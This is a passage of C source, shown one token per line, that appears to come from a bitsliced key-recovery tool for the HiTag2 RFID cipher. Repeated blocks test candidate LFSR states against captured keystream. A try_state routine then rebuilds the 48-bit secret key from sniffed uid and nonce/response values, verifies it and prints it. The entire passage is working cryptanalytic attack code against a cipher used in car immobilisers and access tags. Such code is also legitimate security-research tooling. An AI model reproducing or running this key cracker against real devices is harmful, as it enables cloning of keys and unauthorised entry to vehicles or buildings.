= f_b_bs(state
[-2 + 26].value
, state
[-2 + 30].value
, state
[-2 + 32].value
, state
[-2 + 33].value
);
552 const bitslice_value_t filter18_2
= f_b_bs(state
[-2 + 35].value
, state
[-2 + 39].value
, state
[-2 + 41].value
, state
[-2 + 44].value
);
553 const bitslice_value_t filter18_3
= f_b_bs(state
[-2 + 46].value
, state
[-2 + 47].value
, state
[-2 + 49].value
, state
[-2 + 51].value
);
554 const bitslice_value_t filter18_4
= f_a_bs(state
[-2 + 52].value
, state
[-2 + 61].value
, state
[-2 + 62].value
, state
[-2 + 64].value
);
555 const bitslice_value_t filter18
= f_c_bs(filter18_0
, filter18_1
, filter18_2
, filter18_3
, filter18_4
);
556 results8
.value
&= (filter18
^ keystream
[18].value
);
558 if (results8
.bytes64
[0] == 0
559 && results8
.bytes64
[1] == 0
560 && results8
.bytes64
[2] == 0
561 && results8
.bytes64
[3] == 0
566 state
[-2 + 65].value
= lfsr_bs(17);
567 const bitslice_value_t filter19_0
= f_a_bs(state
[-2 + 21].value
, state
[-2 + 22].value
, state
[-2 + 24].value
, state
[-2 + 25].value
);
568 const bitslice_value_t filter19_1
= f_b_bs(state
[-2 + 27].value
, state
[-2 + 31].value
, state
[-2 + 33].value
, state
[-2 + 34].value
);
569 const bitslice_value_t filter19_2
= f_b_bs(state
[-2 + 36].value
, state
[-2 + 40].value
, state
[-2 + 42].value
, state
[-2 + 45].value
);
570 const bitslice_value_t filter19_3
= f_b_bs(state
[-2 + 47].value
, state
[-2 + 48].value
, state
[-2 + 50].value
, state
[-2 + 52].value
);
571 const bitslice_value_t filter19_4
= f_a_bs(state
[-2 + 53].value
, state
[-2 + 62].value
, state
[-2 + 63].value
, state
[-2 + 65].value
);
572 const bitslice_value_t filter19
= f_c_bs(filter19_0
, filter19_1
, filter19_2
, filter19_3
, filter19_4
);
573 results8
.value
&= (filter19
^ keystream
[19].value
);
575 if (results8
.bytes64
[0] == 0
576 && results8
.bytes64
[1] == 0
577 && results8
.bytes64
[2] == 0
578 && results8
.bytes64
[3] == 0
583 state
[-2 + 66].value
= lfsr_bs(18);
584 const bitslice_value_t filter20_0
= f_a_bs(state
[-2 + 22].value
, state
[-2 + 23].value
, state
[-2 + 25].value
, state
[-2 + 26].value
);
585 const bitslice_value_t filter20_1
= f_b_bs(state
[-2 + 28].value
, state
[-2 + 32].value
, state
[-2 + 34].value
, state
[-2 + 35].value
);
586 const bitslice_value_t filter20_2
= f_b_bs(state
[-2 + 37].value
, state
[-2 + 41].value
, state
[-2 + 43].value
, state
[-2 + 46].value
);
587 const bitslice_value_t filter20_3
= f_b_bs(state
[-2 + 48].value
, state
[-2 + 49].value
, state
[-2 + 51].value
, state
[-2 + 53].value
);
588 const bitslice_value_t filter20_4
= f_a_bs(state
[-2 + 54].value
, state
[-2 + 63].value
, state
[-2 + 64].value
, state
[-2 + 66].value
);
589 const bitslice_value_t filter20
= f_c_bs(filter20_0
, filter20_1
, filter20_2
, filter20_3
, filter20_4
);
590 results8
.value
&= (filter20
^ keystream
[20].value
);
592 if (results8
.bytes64
[0] == 0
593 && results8
.bytes64
[1] == 0
594 && results8
.bytes64
[2] == 0
595 && results8
.bytes64
[3] == 0
600 state
[-2 + 67].value
= lfsr_bs(19);
601 const bitslice_value_t filter21_0
= f_a_bs(state
[-2 + 23].value
, state
[-2 + 24].value
, state
[-2 + 26].value
, state
[-2 + 27].value
);
602 const bitslice_value_t filter21_1
= f_b_bs(state
[-2 + 29].value
, state
[-2 + 33].value
, state
[-2 + 35].value
, state
[-2 + 36].value
);
603 const bitslice_value_t filter21_2
= f_b_bs(state
[-2 + 38].value
, state
[-2 + 42].value
, state
[-2 + 44].value
, state
[-2 + 47].value
);
604 const bitslice_value_t filter21_3
= f_b_bs(state
[-2 + 49].value
, state
[-2 + 50].value
, state
[-2 + 52].value
, state
[-2 + 54].value
);
605 const bitslice_value_t filter21_4
= f_a_bs(state
[-2 + 55].value
, state
[-2 + 64].value
, state
[-2 + 65].value
, state
[-2 + 67].value
);
606 const bitslice_value_t filter21
= f_c_bs(filter21_0
, filter21_1
, filter21_2
, filter21_3
, filter21_4
);
607 results8
.value
&= (filter21
^ keystream
[21].value
);
609 if (results8
.bytes64
[0] == 0
610 && results8
.bytes64
[1] == 0
611 && results8
.bytes64
[2] == 0
612 && results8
.bytes64
[3] == 0
617 state
[-2 + 68].value
= lfsr_bs(20);
618 const bitslice_value_t filter22_0
= f_a_bs(state
[-2 + 24].value
, state
[-2 + 25].value
, state
[-2 + 27].value
, state
[-2 + 28].value
);
619 const bitslice_value_t filter22_1
= f_b_bs(state
[-2 + 30].value
, state
[-2 + 34].value
, state
[-2 + 36].value
, state
[-2 + 37].value
);
620 const bitslice_value_t filter22_2
= f_b_bs(state
[-2 + 39].value
, state
[-2 + 43].value
, state
[-2 + 45].value
, state
[-2 + 48].value
);
621 const bitslice_value_t filter22_3
= f_b_bs(state
[-2 + 50].value
, state
[-2 + 51].value
, state
[-2 + 53].value
, state
[-2 + 55].value
);
622 const bitslice_value_t filter22_4
= f_a_bs(state
[-2 + 56].value
, state
[-2 + 65].value
, state
[-2 + 66].value
, state
[-2 + 68].value
);
623 const bitslice_value_t filter22
= f_c_bs(filter22_0
, filter22_1
, filter22_2
, filter22_3
, filter22_4
);
624 results8
.value
&= (filter22
^ keystream
[22].value
);
626 if (results8
.bytes64
[0] == 0
627 && results8
.bytes64
[1] == 0
628 && results8
.bytes64
[2] == 0
629 && results8
.bytes64
[3] == 0
634 state
[-2 + 69].value
= lfsr_bs(21);
635 const bitslice_value_t filter23_0
= f_a_bs(state
[-2 + 25].value
, state
[-2 + 26].value
, state
[-2 + 28].value
, state
[-2 + 29].value
);
636 const bitslice_value_t filter23_1
= f_b_bs(state
[-2 + 31].value
, state
[-2 + 35].value
, state
[-2 + 37].value
, state
[-2 + 38].value
);
637 const bitslice_value_t filter23_2
= f_b_bs(state
[-2 + 40].value
, state
[-2 + 44].value
, state
[-2 + 46].value
, state
[-2 + 49].value
);
638 const bitslice_value_t filter23_3
= f_b_bs(state
[-2 + 51].value
, state
[-2 + 52].value
, state
[-2 + 54].value
, state
[-2 + 56].value
);
639 const bitslice_value_t filter23_4
= f_a_bs(state
[-2 + 57].value
, state
[-2 + 66].value
, state
[-2 + 67].value
, state
[-2 + 69].value
);
640 const bitslice_value_t filter23
= f_c_bs(filter23_0
, filter23_1
, filter23_2
, filter23_3
, filter23_4
);
641 results8
.value
&= (filter23
^ keystream
[23].value
);
642 if (results8
.bytes64
[0] == 0
643 && results8
.bytes64
[1] == 0
644 && results8
.bytes64
[2] == 0
645 && results8
.bytes64
[3] == 0
649 state
[-2 + 70].value
= lfsr_bs(22);
650 const bitslice_value_t filter24_0
= f_a_bs(state
[-2 + 26].value
, state
[-2 + 27].value
, state
[-2 + 29].value
, state
[-2 + 30].value
);
651 const bitslice_value_t filter24_1
= f_b_bs(state
[-2 + 32].value
, state
[-2 + 36].value
, state
[-2 + 38].value
, state
[-2 + 39].value
);
652 const bitslice_value_t filter24_2
= f_b_bs(state
[-2 + 41].value
, state
[-2 + 45].value
, state
[-2 + 47].value
, state
[-2 + 50].value
);
653 const bitslice_value_t filter24_3
= f_b_bs(state
[-2 + 52].value
, state
[-2 + 53].value
, state
[-2 + 55].value
, state
[-2 + 57].value
);
654 const bitslice_value_t filter24_4
= f_a_bs(state
[-2 + 58].value
, state
[-2 + 67].value
, state
[-2 + 68].value
, state
[-2 + 70].value
);
655 const bitslice_value_t filter24
= f_c_bs(filter24_0
, filter24_1
, filter24_2
, filter24_3
, filter24_4
);
656 results8
.value
&= (filter24
^ keystream
[24].value
);
657 if (results8
.bytes64
[0] == 0
658 && results8
.bytes64
[1] == 0
659 && results8
.bytes64
[2] == 0
660 && results8
.bytes64
[3] == 0
664 state
[-2 + 71].value
= lfsr_bs(23);
665 const bitslice_value_t filter25_0
= f_a_bs(state
[-2 + 27].value
, state
[-2 + 28].value
, state
[-2 + 30].value
, state
[-2 + 31].value
);
666 const bitslice_value_t filter25_1
= f_b_bs(state
[-2 + 33].value
, state
[-2 + 37].value
, state
[-2 + 39].value
, state
[-2 + 40].value
);
667 const bitslice_value_t filter25_2
= f_b_bs(state
[-2 + 42].value
, state
[-2 + 46].value
, state
[-2 + 48].value
, state
[-2 + 51].value
);
668 const bitslice_value_t filter25_3
= f_b_bs(state
[-2 + 53].value
, state
[-2 + 54].value
, state
[-2 + 56].value
, state
[-2 + 58].value
);
669 const bitslice_value_t filter25_4
= f_a_bs(state
[-2 + 59].value
, state
[-2 + 68].value
, state
[-2 + 69].value
, state
[-2 + 71].value
);
670 const bitslice_value_t filter25
= f_c_bs(filter25_0
, filter25_1
, filter25_2
, filter25_3
, filter25_4
);
671 results8
.value
&= (filter25
^ keystream
[25].value
);
673 if (results8
.bytes64
[0] == 0
674 && results8
.bytes64
[1] == 0
675 && results8
.bytes64
[2] == 0
676 && results8
.bytes64
[3] == 0
681 state
[-2 + 72].value
= lfsr_bs(24);
682 const bitslice_value_t filter26_0
= f_a_bs(state
[-2 + 28].value
, state
[-2 + 29].value
, state
[-2 + 31].value
, state
[-2 + 32].value
);
683 const bitslice_value_t filter26_1
= f_b_bs(state
[-2 + 34].value
, state
[-2 + 38].value
, state
[-2 + 40].value
, state
[-2 + 41].value
);
684 const bitslice_value_t filter26_2
= f_b_bs(state
[-2 + 43].value
, state
[-2 + 47].value
, state
[-2 + 49].value
, state
[-2 + 52].value
);
685 const bitslice_value_t filter26_3
= f_b_bs(state
[-2 + 54].value
, state
[-2 + 55].value
, state
[-2 + 57].value
, state
[-2 + 59].value
);
686 const bitslice_value_t filter26_4
= f_a_bs(state
[-2 + 60].value
, state
[-2 + 69].value
, state
[-2 + 70].value
, state
[-2 + 72].value
);
687 const bitslice_value_t filter26
= f_c_bs(filter26_0
, filter26_1
, filter26_2
, filter26_3
, filter26_4
);
688 results8
.value
&= (filter26
^ keystream
[26].value
);
690 if (results8
.bytes64
[0] == 0
691 && results8
.bytes64
[1] == 0
692 && results8
.bytes64
[2] == 0
693 && results8
.bytes64
[3] == 0
698 state
[-2 + 73].value
= lfsr_bs(25);
699 const bitslice_value_t filter27_0
= f_a_bs(state
[-2 + 29].value
, state
[-2 + 30].value
, state
[-2 + 32].value
, state
[-2 + 33].value
);
700 const bitslice_value_t filter27_1
= f_b_bs(state
[-2 + 35].value
, state
[-2 + 39].value
, state
[-2 + 41].value
, state
[-2 + 42].value
);
701 const bitslice_value_t filter27_2
= f_b_bs(state
[-2 + 44].value
, state
[-2 + 48].value
, state
[-2 + 50].value
, state
[-2 + 53].value
);
702 const bitslice_value_t filter27_3
= f_b_bs(state
[-2 + 55].value
, state
[-2 + 56].value
, state
[-2 + 58].value
, state
[-2 + 60].value
);
703 const bitslice_value_t filter27_4
= f_a_bs(state
[-2 + 61].value
, state
[-2 + 70].value
, state
[-2 + 71].value
, state
[-2 + 73].value
);
704 const bitslice_value_t filter27
= f_c_bs(filter27_0
, filter27_1
, filter27_2
, filter27_3
, filter27_4
);
705 results8
.value
&= (filter27
^ keystream
[27].value
);
707 if (results8
.bytes64
[0] == 0
708 && results8
.bytes64
[1] == 0
709 && results8
.bytes64
[2] == 0
710 && results8
.bytes64
[3] == 0
715 state
[-2 + 74].value
= lfsr_bs(26);
716 const bitslice_value_t filter28_0
= f_a_bs(state
[-2 + 30].value
, state
[-2 + 31].value
, state
[-2 + 33].value
, state
[-2 + 34].value
);
717 const bitslice_value_t filter28_1
= f_b_bs(state
[-2 + 36].value
, state
[-2 + 40].value
, state
[-2 + 42].value
, state
[-2 + 43].value
);
718 const bitslice_value_t filter28_2
= f_b_bs(state
[-2 + 45].value
, state
[-2 + 49].value
, state
[-2 + 51].value
, state
[-2 + 54].value
);
719 const bitslice_value_t filter28_3
= f_b_bs(state
[-2 + 56].value
, state
[-2 + 57].value
, state
[-2 + 59].value
, state
[-2 + 61].value
);
720 const bitslice_value_t filter28_4
= f_a_bs(state
[-2 + 62].value
, state
[-2 + 71].value
, state
[-2 + 72].value
, state
[-2 + 74].value
);
721 const bitslice_value_t filter28
= f_c_bs(filter28_0
, filter28_1
, filter28_2
, filter28_3
, filter28_4
);
722 results8
.value
&= (filter28
^ keystream
[28].value
);
724 if (results8
.bytes64
[0] == 0
725 && results8
.bytes64
[1] == 0
726 && results8
.bytes64
[2] == 0
727 && results8
.bytes64
[3] == 0
732 state
[-2 + 75].value
= lfsr_bs(27);
733 const bitslice_value_t filter29_0
= f_a_bs(state
[-2 + 31].value
, state
[-2 + 32].value
, state
[-2 + 34].value
, state
[-2 + 35].value
);
734 const bitslice_value_t filter29_1
= f_b_bs(state
[-2 + 37].value
, state
[-2 + 41].value
, state
[-2 + 43].value
, state
[-2 + 44].value
);
735 const bitslice_value_t filter29_2
= f_b_bs(state
[-2 + 46].value
, state
[-2 + 50].value
, state
[-2 + 52].value
, state
[-2 + 55].value
);
736 const bitslice_value_t filter29_3
= f_b_bs(state
[-2 + 57].value
, state
[-2 + 58].value
, state
[-2 + 60].value
, state
[-2 + 62].value
);
737 const bitslice_value_t filter29_4
= f_a_bs(state
[-2 + 63].value
, state
[-2 + 72].value
, state
[-2 + 73].value
, state
[-2 + 75].value
);
738 const bitslice_value_t filter29
= f_c_bs(filter29_0
, filter29_1
, filter29_2
, filter29_3
, filter29_4
);
739 results8
.value
&= (filter29
^ keystream
[29].value
);
741 if (results8
.bytes64
[0] == 0
742 && results8
.bytes64
[1] == 0
743 && results8
.bytes64
[2] == 0
744 && results8
.bytes64
[3] == 0
749 state
[-2 + 76].value
= lfsr_bs(28);
750 const bitslice_value_t filter30_0
= f_a_bs(state
[-2 + 32].value
, state
[-2 + 33].value
, state
[-2 + 35].value
, state
[-2 + 36].value
);
751 const bitslice_value_t filter30_1
= f_b_bs(state
[-2 + 38].value
, state
[-2 + 42].value
, state
[-2 + 44].value
, state
[-2 + 45].value
);
752 const bitslice_value_t filter30_2
= f_b_bs(state
[-2 + 47].value
, state
[-2 + 51].value
, state
[-2 + 53].value
, state
[-2 + 56].value
);
753 const bitslice_value_t filter30_3
= f_b_bs(state
[-2 + 58].value
, state
[-2 + 59].value
, state
[-2 + 61].value
, state
[-2 + 63].value
);
754 const bitslice_value_t filter30_4
= f_a_bs(state
[-2 + 64].value
, state
[-2 + 73].value
, state
[-2 + 74].value
, state
[-2 + 76].value
);
755 const bitslice_value_t filter30
= f_c_bs(filter30_0
, filter30_1
, filter30_2
, filter30_3
, filter30_4
);
756 results8
.value
&= (filter30
^ keystream
[30].value
);
758 if (results8
.bytes64
[0] == 0
759 && results8
.bytes64
[1] == 0
760 && results8
.bytes64
[2] == 0
761 && results8
.bytes64
[3] == 0
766 state
[-2 + 77].value
= lfsr_bs(29);
767 const bitslice_value_t filter31_0
= f_a_bs(state
[-2 + 33].value
, state
[-2 + 34].value
, state
[-2 + 36].value
, state
[-2 + 37].value
);
768 const bitslice_value_t filter31_1
= f_b_bs(state
[-2 + 39].value
, state
[-2 + 43].value
, state
[-2 + 45].value
, state
[-2 + 46].value
);
769 const bitslice_value_t filter31_2
= f_b_bs(state
[-2 + 48].value
, state
[-2 + 52].value
, state
[-2 + 54].value
, state
[-2 + 57].value
);
770 const bitslice_value_t filter31_3
= f_b_bs(state
[-2 + 59].value
, state
[-2 + 60].value
, state
[-2 + 62].value
, state
[-2 + 64].value
);
771 const bitslice_value_t filter31_4
= f_a_bs(state
[-2 + 65].value
, state
[-2 + 74].value
, state
[-2 + 75].value
, state
[-2 + 77].value
);
772 const bitslice_value_t filter31
= f_c_bs(filter31_0
, filter31_1
, filter31_2
, filter31_3
, filter31_4
);
773 results8
.value
&= (filter31
^ keystream
[31].value
);
775 if (results8
.bytes64
[0] == 0
776 && results8
.bytes64
[1] == 0
777 && results8
.bytes64
[2] == 0
778 && results8
.bytes64
[3] == 0
783 for (size_t r
= 0; r
< MAX_BITSLICES
; r
++) {
784 if (!get_vector_bit(r
, results8
)) continue;
785 // take the state from layer 2 so we can recover the lowest 2 bits by inverting the LFSR
786 uint64_t state31
= unbitslice(&state
[-2 + 2], r
, 48);
787 state31
= lfsr_inv(state31
);
788 state31
= lfsr_inv(state31
);
789 try_state(state31
& ((1ull << 48) - 1));
803 static void try_state(uint64_t s
) {
805 uint64_t keyrev
, key
, nR1xk
;
811 keyrev
= hstate
.shiftreg
& 0xffff;
812 nR1xk
= (hstate
.shiftreg
>> 16) & 0xffffffff;
813 for (int i
= 0; i
< 32; i
++) {
814 hstate
.shiftreg
= ((hstate
.shiftreg
) << 1) | ((uid
>> (31 - i
)) & 0x1);
815 b
= (b
<< 1) | fnf(hstate
.shiftreg
);
817 keyrev
|= (nR1xk
^ nR1
^ b
) << 16;
820 hitag2_init(&hstate
, keyrev
, uid
, nR2
);
821 if ((aR2
^ hitag2_nstep(&hstate
, 32)) == 0xffffffff) {
826 for (int i
= 0; i
< 6; i
++) {
827 printf("%02X", (uint8_t)(key
& 0xff));